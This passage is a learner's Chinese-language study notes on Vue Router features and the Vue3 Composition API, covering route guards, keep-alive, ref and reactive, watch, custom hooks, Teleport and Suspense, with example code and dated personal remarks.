forward(){ this.$router.forward() }, back(){ this.$router.back() }, test(){ this.$router.go(-2) }
|
缓存路由组件
- 作用:让不展示的路由组件保持挂载,不被销毁
- 具体编码
1 2 3 4 5 6
| <!-- 不写include,所有的组件都会保存 -->
<keep-alive :include="['News','Message']"> <router-view></router-view> </keep-alive>
|
activated和deactivated生命周期钩子
作用: 路由组件所独有的两个钩子,用于捕获路由组件的激活状态
具体使用:
1 2 3 4 5 6 7 8 9 10 11
| activated(){ this.timer = setInterval(() => { this.opacity -= 0.01 if (this.opacity <= 0) this.opacity = 1 }, 16) }, deactivated(){ console.log('News组件失活了') clearInterval(this.timer) }
|
路由守卫
- 作用:对路由进行权限控制
- 分类:全局守卫,独享守卫,组件内守卫
全局守卫
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| router.beforeEach((to, from, next) => { console.log('前置路由守卫', to, from) if (to.meta.isAuth) { if (localStorage.getItem('school') === 'zzmr') { next() } else { alert('学校名不对,无权限查看') } } else { next() } })
router.afterEach((to, from) => { document.title = to.meta.title || 'ZZMR' })
|
同时也引入新的路由配置项:meta,用于自定义一些属性,来辅助一些功能
独享守卫
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| { name: 'xinwen', path: 'news', component: News, meta: { isAuth: true, title: '新闻' }, beforeEnter: (to, from, next) => { console.log('独享路由守卫', to, from) if (to.meta.isAuth) { if (localStorage.getItem('school') === 'zzmr') { next() } else { alert('学校名不对,无权限查看') } } else { next() } } },
|
就是直接在路由里面写,但是只有前置,没有后置
组件内路由守卫
进入和离开守卫
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| <template> <h2>我是About的内容</h2> </template>
<script> export default { name: 'About',
beforeRouteEnter(to, from, next) { console.log('App---beforeRouteEnter') next() }, beforeRouteLeave(to, from, next) { console.log('App---beforeRouteLeave') next() } } </script>
<style>
</style>
|
hostory模式和hash模式
‘#’官方名:hash(哈希)
- 对于一个url来说,什么是hash值?—#及其后面的内容就是hash值
- hash值不会包含HTTP请求种,即:hash值不会带给服务器
- hash模式:
- 地址中永远带着#号,不美观
- 若以后地址通过第三方手机App分享,若app校验严格,则地址会被标记为不合法
- 兼容性比较好
- history模式
- 地址干净,美观
- 兼容性和hash模式相比略差
- 应用部署上线时需要后端人员支持,解决刷新页面服务端404的问题
springboot解决(解决了,但没完全解决)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| package com.zzmr.boot.config;
import org.springframework.boot.web.server.ErrorPage; import org.springframework.boot.web.server.ErrorPageRegistrar; import org.springframework.boot.web.server.ErrorPageRegistry; import org.springframework.http.HttpStatus; import org.springframework.stereotype.Component;
@Component public class ErrorConfig implements ErrorPageRegistrar { @Override public void registerErrorPages(ErrorPageRegistry registry) { ErrorPage error404Page = new ErrorPage(HttpStatus.NOT_FOUND, "/index.html"); registry.addErrorPages(error404Page); } }
|
还有就是一个打包命令:
npm run build
打包整个项目,然后放到springboot项目下的static目录下,就可以正常访问了
Vue UI组件库
两大类
Element UI
安装:npm i element-ui
然后,简单的引入使用就行了
1 2 3 4 5 6 7
| import ElementUI from 'element-ui';
import 'element-ui/lib/theme-chalk/index.css';
Vue.use(ElementUI)
|
没错,全部引入肯定不太行
Element UI 按需引入
- 安装
npm install babel-plugin-component -D
- 修改引入方式
1 2 3 4 5 6 7 8 9 10 11
| import { Button, Row, DatePicker } from 'element-ui';
Vue.config.productionTip = false
Vue.component(Button.name, Button); Vue.component(Row.name, Row); Vue.component(DatePicker.name, DatePicker);
|
用哪个就引入哪个
- 还有一个文件要改:babel.config.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| module.exports = { presets: [ '@vue/cli-plugin-babel/preset', ["@babel/preset-env", { "modules": false }] ], plugins: [ [ "component", { "libraryName": "element-ui", "styleLibraryName": "theme-chalk" } ] ] }
|
2023年1月16日 21点20分
好了,Vue2学完了
Vue3
其实我在想到底是先去做一个vue2的项目,还是直接看完Vue3然后直接去写一个前后端交互的项目
现在想想,还是后者吧
创建工程
使用vue-cli创建项目
- 创建Vue3项目:vue create vue3_test
还是要在管理员权限下才可以创建
使用vite创建项目
什么是vite?—新一代的前端构建工具
创建项目:
1 2 3 4 5 6 7 8
| ## 创建工程 npm init vite-app <project-name> ## 进入工程目录 cd <project-name> ## 安装依赖 npm install ## 运行 npm run dev
|
是非常快,但是后面使用还是cli哈哈哈哈
项目结构
最大的改变:main.js
1 2 3 4 5 6 7 8
| import { createApp } from 'vue' import App from './App.vue'
createApp(App).mount('#app')
|
还有就是组件不用写跟标签了,可以直接写内容
1 2 3 4 5
| <template> <!-- Vue3组件中的模板结构可以没有根标签 --> <img alt="Vue logo" src="./assets/logo.png"> <HelloWorld msg="Welcome to Your Vue.js App" /> </template>
|
常用Composition API
组合式API
setup
- 理解: Vue3.0中一个新的配置项,值为一个函数
- setup是所有CompositionAPI(组合API)’表演的舞台’
- 组件中所用到的:数据方法等等,均要配置在setup中
- setup函数的两种返回值
- 若返回一个对象,则对象中的属性,方法,在模板中均可以直接使用
若返回一个渲染函数:则可以自定义渲染内容(了解) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| <template> <h1>一个人的信息</h1> <h2>姓名{{ name }}</h2> <h2>年龄{{ age }}</h2> <button @click="sayHello">sayHello</button> </template>
<script>
import { h } from 'vue'
export default { name: 'App', setup() { let name = '张三' let age = 18
function sayHello() { alert(`我叫${name},我${age}岁了,Hello`) }
return () => h('h1', 'ZZMR') } } </script>
|
- 注意点:
- 尽量不要与Vue2.x配置混用
- Vue2.x(data,methods,computed)中可以访问到setup中的属性
- 但在setup中不能访问到vue2.x的配置(data,methods,computed)
- 如果有重名,setup优先
- setup不能是一个async函数,因为返回值不再是return的对象,而是promise,模板看不到return对象中的属性
ref函数
引用实现的实例对象-引用对象
- 作用: 定义一个响应式数据
- 语法:
const xxx = ref(initValue)
- 创建一个包含响应式数据的应用对象(reference)对象-简称ref对象
- JS中操作数据-xxx.value
- 模板中读取数据:不需要value,直接
<div>{{xxx}}</div>
- 备注:
- 接收的数据可以是:基本类型,也可以是对象类型
- 基本类型的数据,响应式依然是靠
Object.defineProperty()
的get与set完成的
- 对象类型的数据:内部使用了-reactive函数
setup配置项
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| setup() { let name = ref('张三') let age = ref(18) let job = ref({ type: '全栈工程师', salary: '20K' })
function changeInfo(){ name.value = '李四' age.value = 20 job.value.type = '离职' job.value.salary = '30k' console.log(name,age) }
return { name, age, changeInfo, job }
}
|
reactive函数
- 作用: 定义一个对象类型的响应式数据(基本类型不要用它,要用ref函数)
- 语法: const 代理对象 = reactive(源对象)接收一个对象(或数组),返回一个代理对象(proxy的实例对象)
- reactive定义的响应式数据是”深层次的”
- 内部基于ES6的proxy实现,通过代理对象操作源对象内部数据进行操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| <template> <h1>一个人的信息</h1> <h2>姓名{{ person.name }}</h2> <h2>年龄{{ person.age }}</h2> <h2>工作种类:{{ person.job.type }}</h2> <h2>工资{{ person.job.salary }}</h2> <h3>c的值为{{ person.job.a.b.c }}</h3> <h3>爱好:{{ person.hobby }}</h3> <button @click="changeInfo">修改人的信息</button> </template>
<script>
import { reactive } from 'vue'
export default { name: 'App', setup() {
let person = reactive({ name: '张三', age: 18, job: { type: '全栈工程师', salary: '20K', a: { b: { c: 666 } } }, hobby: ['抽烟', '喝酒', '烫头'] })
function changeInfo() { person.name = '李四' person.age = 20 person.job.type = '离职' person.job.salary = '30k' person.job.a.b.c = 888
person.hobby[0] = '学习'
}
return { person, changeInfo, } } } </script>
|
Vue3响应式原理
Vue2中响应式存在的问题:
- 新增属性,删除属性,界面不会更新
- 直接通过下标修改数组,界面不会自动更新
Vue3的响应式
- 通过Proxy(代理):拦截对象中任意属性的变化:包括:属性值的读写,属性的添加,属性的删除等
- 通过Reflect(翻身):对被代理(源)对象的属性进行操作
- MDN文档中描述Proxy和Reflect
- Proxy
- Reflect
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94
| <!DOCTYPE html> <html lang="en">
<head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Vue3响应式</title> </head>
<body> <script> let person = { name: '张三', age: 18, }
const p = new Proxy(person,{ get(target,propName){ console.log(`有人读取了p的${propName}属性`) return Reflect.get(target,propName) }, set(target,propName,value){ console.log(`有人修改了p的${propName}属性`) return Reflect.set(target,propName,value) }, defineProperty(target,propName){ console.log(`有人删除了p的${propName}属性`) return delete Reflect.deleteProperty(target,propName) } })
let obj = {a:1,B:2}
</script> </body>
</html>
|
reactive对比ref
- 从定义数据角度对比
- ref用来定义:基本类型数据
- reactive用来定义:对象(或数组)类型数据
- 备注: ref也可以用来定义对象(或数组)类型数组,它内部会自动通过reactive转化为代理对象
- 从原理角度对比
- ref通过
Object.defineProperty()
的get与set来实现响应式(数据劫持)
- reactive通过使用Proxy来实现响应式(数据劫持),并通过Reflect来操作源对象内部的数据
- 从使用角度对比
- ref定义的数据,操作数据需要.value,读取数据时模板中直接读取不需要.value
- reactive定义的数据:操作数据预读取数据,均不需要.value
setup两个注意点
- setup的执行时机
- 在beforeCreate之前执行一次,this是undefined
- setup的参数
- props:值为对象,包含:组件外部传递过来,且组件内部声明接受了的属性
- context:上下文对象
- attrs:值为对象,包含:组件外部传递过来,但没有在props配置中声明的属性,相当于
this.$attrs
- slots:收到的插槽内容,相当于
this.$slots
- emit:分发自定义事件的函数:相当于
this.$emit
App.vue
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <template> <Demo @hello="showHelloMsg" msg="Hello" school="ZZMR"> <template v-slot:qwe> <span>ZZMR</span> </template> </Demo> </template>
<script>
import Demo from './components/Demo.vue'
export default { name: 'App', components: { Demo, }, setup() { function showHelloMsg(value) { alert(`Hello,触发了Hello事件,收到的参数是${value}`) }
return { showHelloMsg } } } </script>
|
Demo.vue
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| <template> <h1>一个人的信息</h1> <h2 v-show="person.name">姓名{{ person.name }}</h2> <h2>年龄{{ person.age }}</h2> <button @click="test">测试Demo组件的Hello事件</button> </template>
<script>
import { reactive } from 'vue'
export default { name: 'Demo',
props:['msg','school'], emits:['hello'], setup(props,context) { console.log(context.slots)
let person = reactive({ name: '张三', age: 18, })
function test(){ context.emit('hello',666) }
return { person,test } } } </script>
|
计算属性
computed函数
- 与Vue2中的computed配置功能一致
- 写法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
|
setup() {
let person = reactive({ firstName: '张', lastName: '三', })
person.fullName = computed( { get(){ return person.firstName + '-' + person.lastName }, set(value){ const nameArr = value.split('-') person.firstName = nameArr[0] person.lastName = nameArr[1] } } )
return { person } }
|
监视属性
- 与Vue2中watch配置功能一致
- 两个小坑
- 监视reactive定义的响应式数据时,oldValue无法正确获取,强制开启了深度监视(deep配置失效)
- 监视reactive定义的响应式数据中某个属性时,deep配置有效
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97
| <template> <h2>当前求和为: {{ sum }}</h2> <button @click="sum++">点我加1</button> <hr> <h2>当前的信息为{{ msg }}</h2> <button @click="msg += '!'">修改信息</button> <hr> <h2>姓名: {{ person.name }}</h2> <h2>年龄: {{ person.age }}</h2> <button @click="person.name += '@'">修改姓名</button> <button @click="person.age++">增长年龄</button> <hr> <h2>薪资:{{ person.job.j1.salary }}</h2> <button @click="person.job.j1.salary++">加薪</button> </template>
<script>
import { ref, watch, reactive } from 'vue'
export default { name: 'Demo',
setup() {
let sum = ref(0) let msg = ref('Hello')
let person = reactive({ name: '张三', age: 18, job: { j1: { salary: 20 } } })
watch(()=>person.job, (newValue, oldValue) => { console.log('job变化了',newValue, oldValue) },{ deep:true })
return { sum, msg, person } } } </script>
|
.value的问题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| <template> <h2>当前求和为: {{ sum }}</h2> <button @click="sum++">点我加1</button> <hr> <h2>当前的信息为{{ msg }}</h2> <button @click="msg += '!'">修改信息</button> <hr> <h2>姓名: {{ person.name }}</h2> <h2>年龄: {{ person.age }}</h2> <button @click="person.name += '@'">修改姓名</button> <button @click="person.age++">增长年龄</button> <hr> <h2>薪资:{{ person.job.j1.salary }}</h2> <button @click="person.job.j1.salary++">加薪</button> </template>
<script>
import { ref, watch, reactive } from 'vue'
export default { name: 'Demo',
setup() {
let sum = ref(0) let msg = ref('Hello')
let person = ref({ name: '张三', age: 18, job: { j1: { salary: 20 } } })
watch(sum,(newValue, oldValue)=>{ console.log('sum改变了',newValue, oldValue) })
watch(person,(newValue, oldValue)=>{ console.log('person改变了',newValue, oldValue) },{ deep:true })
return { sum, msg, person } } } </script>
|
分清到底是ref还是reactive
watchEffect函数
- watch的套路是: 既要指明监视的属性,也要指明监视的回调
- watchEffect的套路是:不用指定监视哪个属性,监视的回调中用到那个属性,那就监视哪个属性
- watchEffect有点像computed
- 但computed注重的是计算出来的值(回调函数的返回值),所以必须要写返回值
- 而watchEffect更注重的是过程(回调函数的函数体),所以不用谢返回值
1 2 3 4
| watchEffect(() => { const x1 = sum.value console.log('watchEffect所指定得回调执行了') })
|
生命周期
- Vue3中可以继续使用Vue2中的生命周期钩子,但有两个要更改名字
- beforeDestroy改为beforeUnmount
- destroyed改为unmounted
- Vue3也提供了Composition API形式的生命周期钩子,与Vue2中钩子对应关系如下
beforeCreate
===>setup()
created
=======>setup()
beforeMount
===>onBeforeMount
mounted
=======>onMounted
beforeUpdate
===>onBeforeUpdate
updated
=======>onUpdated
beforeUnmount
==>onBeforeUnmount
unmounted
=====>onUnmounted
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| setup() {
let sum = ref(0)
onBeforeMount(()=> { console.log('---onBeforeMount---') }) onMounted(()=> { console.log('---onMounted---') }) onBeforeUpdate(()=> { console.log('---onBeforeUpdate---') }) onUpdated(()=> { console.log('---onUpdated---') }) onBeforeUnmount(()=> { console.log('---onBeforeUnmount---') }) onUnmounted(()=> { console.log('---onUnmounted---') })
return { sum, } },
|
自定义hook函数
- 什么是hook?本质是一个函数,把setup函数中使用的CompositionAPI进行了封装
- 类似于vue2中的mixin
- 自定义hook的优势,复用代码,让setup中的逻辑更加清楚易懂
usePoint.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| import { reactive, onMounted, onBeforeUnmount } from 'vue' export default function () {
let point = reactive({ x: 0, y: 0, })
function savePoint(event) { point.x = event.pageX point.y = event.pageY console.log(point.x, point.y) }
onMounted(() => { window.addEventListener('click', savePoint) })
onBeforeUnmount(() => { window.removeEventListener('click', savePoint) })
return point }
|
Demo.vue
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <template> <h2>当前求和为: {{ sum }}</h2> <button @click="sum++">点我加1</button> <hr> <h2>当前点击时鼠标的坐标为: x:{{ point.x }},y:{{ point.y }}</h2> </template>
<script>
import { ref } from 'vue' import usePoint from '../hooks/usePoint'
export default { name: 'Demo', setup() {
let sum = ref(0)
let point = usePoint()
return { sum,point, } }, } </script>
|
toRef
- 作用:创建一个ref对象,其value值指向另一个对象中的某个属性
- 语法:
const name = toRef(person,'name')
- 应用: 要将响应式对象中的某个属性单独提供给外部使用时
- 扩展: toRefs与toRef功能一致,但是可以批量创建多个ref对象:
toRefs(person)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| <template> <h2>姓名: {{ name }}</h2> <h2>年龄: {{ age }}</h2> <button @click="name += '@'">修改姓名</button> <button @click="age++">增长年龄</button> <hr> <h2>薪资:{{ job.j1.salary }}</h2> <button @click="job.j1.salary++">加薪</button> </template>
<script>
import { reactive, toRef, toRefs } from 'vue'
export default { name: 'Demo',
setup() {
let person = reactive({ name: '张三', age: 18, job: { j1: { salary: 20 } } })
return {
...toRefs(person) } } } </script>
|
其他Composition API
shallowReactive与shallowRef
- shallowReactive: 只处理对象最外层属性的响应式
- shallowRef:只处理基本数据类型的响应式,不进行对象的响应式处理
- 什么时候用?
- 如果有一个对象数据,结构比较深,但变化时只是外层属性变化===>shallowReactive
- 如果有一个对象数据,后续功能不会修改该对象中的属性,而是生成新的对象来替换===>shallowRef
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| <template> <h4>当前的x.y是{{ x.y }}</h4> <button @click="x.y++">点我x+1</button> <hr> <h2>姓名: {{ name }}</h2> <h2>年龄: {{ age }}</h2> <button @click="name += '@'">修改姓名</button> <button @click="age++">增长年龄</button> <hr> <h2>薪资:{{ job.j1.salary }}</h2> <button @click="job.j1.salary++">加薪</button> </template>
<script>
import { reactive, shallowReactive, shallowRef, toRefs, ref } from 'vue'
export default { name: 'Demo',
setup() {
let person = reactive({ name: '张三', age: 18, job: { j1: { salary: 20 } } })
let x = shallowRef({ y: 0 })
return { x, ...toRefs(person) } } } </script>
|
readonly与shallowReadonly
- readonly:让一个响应式数据变为只读(深只读)
- shallowReadonly:让一个响应式数据变为只读(浅只读)
- 应用场景:不希望数据被修改时
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| <template> <h4>当前的求和为是{{ sum }}</h4> <button @click="sum++">点我x+1</button> <hr> <h2>姓名: {{ name }}</h2> <h2>年龄: {{ age }}</h2> <button @click="name += '@'">修改姓名</button> <button @click="age++">增长年龄</button> <hr> <h2>薪资:{{ job.j1.salary }}</h2> <button @click="job.j1.salary++">加薪</button> </template>
<script>
import { reactive, shallowReactive, shallowRef, toRefs, ref ,readonly,shallowReadonly} from 'vue'
export default { name: 'Demo',
setup() {
let sum = ref(0)
let person = reactive({ name: '张三', age: 18, job: { j1: { salary: 20 } } })
sum = shallowReadonly(sum)
return { sum, ...toRefs(person) } } } </script>
|
toRaw与markRaw
- toRaw:
- 作用:将一个由reactive生成的响应式对象转为普通对象
- 使用场景:用于读取响应式对象对应的普通对象,对这个普通对象的所有操作,不会引起页面刷新
- markRaw:
- 作用:标记一个对象,使其永远不会再成为响应式对象
- 应用场景:
- 有些值不应设置为响应式,例如复杂的第三方类库等
- 当渲染具有不可变数据源的大列表时,跳过响应式转换可以提高性能
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| <template> <h4>当前的求和为是{{ sum }}</h4> <button @click="sum++">点我x+1</button> <hr> <h2>姓名: {{ name }}</h2> <h2>年龄: {{ age }}</h2> <button @click="name += '@'">修改姓名</button> <button @click="age++">增长年龄</button> <hr> <h2>薪资:{{ job.j1.salary }}</h2> <h3 v-show="person.car">{{ person.car }}</h3> <button @click="job.j1.salary++">加薪</button> <hr> <button @click="showRawPerson">输出最原始的person</button> <button @click="addCar">给人添加一台车</button> <button @click="person.car.name+='!'">换车名</button> <button @click="person.car.price+='0'">换价格</button> </template>
<script>
import { reactive, toRaw, toRefs, ref, markRaw } from 'vue'
export default { name: 'Demo',
setup() {
let sum = ref(0)
let person = reactive({ name: '张三', age: 18, job: { j1: { salary: 20 } } })
function showRawPerson() {
}
function addCar() { let car = { name: 'bmw', price: '40W' } person.car = markRaw(car) }
return { sum, showRawPerson, person, ...toRefs(person), addCar } } } </script>
|
customRef
- 作用:创建一个自定义的ref,并对其依赖项跟踪和更新触发进行显示控制
- 实现防抖效果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| <template> <input type="text" v-model="keyWord"> <h3>{{ keyWord }}</h3> </template>
<script>
import { ref, customRef } from 'vue';
export default { name: 'App', components: {
}, setup() {
function myRef(value) { let timer console.log('---myRef---', value) return customRef((track, trigger) => { return { get() { console.log('有人从myRef容器中读取数据了,给它的值:', value) track() return value }, set(newValue) { console.log('有人把myRef容器中的数据改为了', newValue) clearTimeout(timer) timer = setTimeout(() => { value = newValue trigger() },1000) } } }) }
let keyWord = myRef('hello')
return { keyWord } } } </script>
|
也是终于知道防抖到底是什么样的了
provide与inject
- 作用: 实现祖孙组件间通信
- 套路: 父组件有一个provide选项来提供数据,后代组件有一个inject选项来开始使用这些数据
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| let car = reactive({ name: 'bmw', price: '40W', })
provide('car',car)
setup() { let car = inject('car')
return { car } }
|
很简单,只是父子之间传递数据的话,还是建议使用简单的props,这种适合祖孙之间的通信(孙,重孙什么的)
响应式数据的判断
- isRef:检查一个值是否为一个ref对象
- isReactive:检查一个对象是否是由reactive创建的响应式代理
- isReadonly:检查一个对象是否由readonly创建的只读代理
- isProxy:检查一个对象是否是由reactive或者readonly方法创建的代理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| <template> <h3>我是App组件(祖)</h3> </template>
<script>
import { ref, reactive, toRefs, readonly, isRef, isReactive, isReadonly, isProxy } from 'vue';
export default { name: 'App', setup() {
let car = reactive({ name: 'bmw', price: '40W', })
let sum = ref(0)
let car2 = readonly(car)
console.log(isRef(sum)) console.log(isReactive(car)) console.log(isReadonly(car2)) console.log(isProxy(car))
return { ...toRefs(car) } } } </script>
|
Composition API的优势
没讲啥啊,但是能感觉到hook以后会用到很多
新的组件
Fragment
- 在Vue2中,组件必须有一个根标签
- 在Vue3中,组件可以没有根标签,内部会将多个标签包含在一个Fragment虚拟元素中
- 好处:减少标签层级,减少内存占用
Teleport
- 什么是Teleport:是一种能够将我们的组件html结构移动到指定位置的技术
1 2 3 4 5 6 7 8 9
| <Teleport to="body"> <div v-if="isShow" class="mask"> <div class="dialog"> <h3>我是一个弹窗</h3> <h3>一些内容</h3> <button @click="isShow = false">关闭弹窗</button> </div> </div> </Teleport>
|
这个真只能用多了才能熟悉
Suspense
等待异步组件时渲染一些额外内容,让应用有更好的用户体验
异步引入组件
1 2
| import {defineAsyncComponent} from 'vue' const Child = defineAsyncComponent(()=>import('./components/Child.vue'))
|
1 2 3 4 5 6 7 8 9 10 11 12 13
| <template> <div class="app"> <h3>我是App组件</h3> <Suspense> <template v-slot:default> <Child/> </template> <template v-slot:fallback> <h3>加载中.....</h3> </template> </Suspense> </div> </template>
|
其他
全局API的转移
Vue2有许多全局API和配置
其他改变
data选项应始终被声明为一个函数
过度类名的更改
Vue2.x写法
1 2 3 4 5 6 7 8
| .v-enter, .v-leave-to { opacity: 0; } .v-leave, .v-enter-to { opacity: 1; }
|
1 2 3 4 5 6 7 8 9
| .v-enter-from, .v-leave-to { opacity: 0; }
.v-leave-from, .v-enter-to { opacity: 1; }
|
1 2 3 4
| <my-component v-on:close="handleComponentEvent" v-on:click="handleNativeClickEvent" />
|
1 2 3 4 5
| <script> export default { emits: ['close'] } </script>
|
- 移除了过滤器
过滤器虽然这看起来很方便,但它需要一个自定义语法,打破大括号内表达式是 “只是 JavaScript” 的假设,这不仅有学习成本,而且有实现成本!建议用方法调用或计算属性去替换过滤器
愿所有的汗水都有收获,愿所有的努力不被辜负
2023年1月18日 21点07分